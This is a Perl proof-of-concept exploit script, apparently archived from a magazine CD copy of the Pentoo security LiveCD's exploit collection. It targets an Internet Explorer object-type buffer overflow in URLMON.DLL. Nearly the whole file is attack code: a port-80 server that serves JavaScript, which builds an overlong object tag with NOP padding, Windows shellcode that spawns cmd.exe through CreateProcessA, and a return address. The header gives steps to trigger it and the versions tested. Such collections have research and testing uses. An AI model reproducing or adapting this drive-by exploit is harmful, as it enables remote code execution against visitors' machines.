home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / IE / ie-object-ex.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  89 lines

  1. #!/usr/bin/perl
  2.  
  3. #=synopsis
  4. #    06/06/03 - Proof of concept exploit by Sir Alumni (alumni@ok.kz)
  5. #    IE-Object longtype dynamic call oferflow
  6. #    [...]
  7. #    url://<$shellcode><'/'x48><jmp %ptr_sh>
  8. #    the flaw actually exists in URLMON.DLL when converting backslashes
  9. #       to wide char,
  10. #    this can be seen on stack dump near '&CLSID=AAA...2F__2F__...'.
  11. #    [...]
  12. #
  13. #    To exploit:     i)  start server perl script;
  14. #            ii) connect to http-service using IE/5.x.
  15. #    Tested: IE-5.x, 6.0? on WinXP.
  16. #    Note:    a) the shellcode size is limited up to 56 bytes;
  17. #        b) the '$ret' may differ as well as the image base of
  18. KERNEL32.DLL;
  19. #        c) to avoid multiple encoding the shellcode is given 'as
  20. is' with help of JScript.
  21. #=synopsis
  22.  
  23. use IO::Socket;
  24.  
  25. $port = 80;
  26. $server = IO::Socket::INET->new (LocalPort => $port,
  27.                 Type =>SOCK_STREAM,
  28.                 Reuse => 1,
  29.                 Listen => $port) or die("Couldnt't create
  30. server socket\n");
  31.  
  32.  
  33. $shellcode =     "\x33\xdb".        # xor ebx, ebx
  34.         "\x8b\xd4".        # mov edx, esp
  35.         "\x80\xc6\xff".        # add dh, 0xFF
  36.         "\xc7\x42\xfc\x63\x6d".    # mov dword ptr[edx-4], 0x01646D63
  37. ("cmd\x01")
  38.         "\x64\x01".        #
  39.         "\x88\x5a\xff".        # mov byte ptr[edx-1], bl
  40.         "\x8d\x42\xfc".        # lea eax, [edx-4]
  41.         "\x8b\xf5".        # mov esi, ebp
  42.         "\x56\x52".        # push esi; push edx
  43.         "\x53\x53\x53\x53\x53\x53".    # push ebx
  44.         "\x50\x53".        # push eax; push ebx
  45.         "\xb8\x41\x77\xf7\xbf".    # mov eax, 0xBFF77741 ~=
  46. CreateProcessA
  47.         "\xff\xd0".        # call eax
  48.         "\xb8\xf8\xd4\xf8\xbf".    # mov eax, 0xBFF8D4F8 ~=
  49. ExitProcess
  50.         "\xff\xd0".        # call eax
  51.         "\xcc";            # int 3
  52.  
  53. $nop = "\x90";
  54. $ret = "\\xAB\\x5D\\x58";
  55.  
  56.  
  57. while ($client = $server->accept()) {
  58.     while (<$client>) {
  59.         if ($_ =~ /^(\x0D\x0A)/) {
  60.  
  61. print $client <<END_DATA;
  62. HTTP/1.0 200 Ok\r
  63. Content-Type: text/html\r
  64. \r
  65. <script>\r
  66.     var mins = 56;\r
  67.     var size = 48;\r
  68.     var sploit = "$shellcode";\r
  69.     var strNop = "$nop";\r
  70.     var strObj = '<object type="';\r
  71.     for (i=0;i<mins-sploit.length;i++) strObj += strNop;\r
  72.     strObj += sploit;\r
  73.     for (i=0;i<size;i++) strObj += '/';\r
  74.     strObj += "CCCCCCCCDDDDDDDD";\r
  75.     strObj += "$ret";\r
  76.     strObj += '">Hello</object>';\r
  77.     alert(strObj);\r
  78.     document.write(strObj);\r
  79. </script>\r
  80. END_DATA
  81.             close($client);
  82.  
  83.         }
  84.     }
  85. }
  86.  
  87. close($server);
  88.  
  89.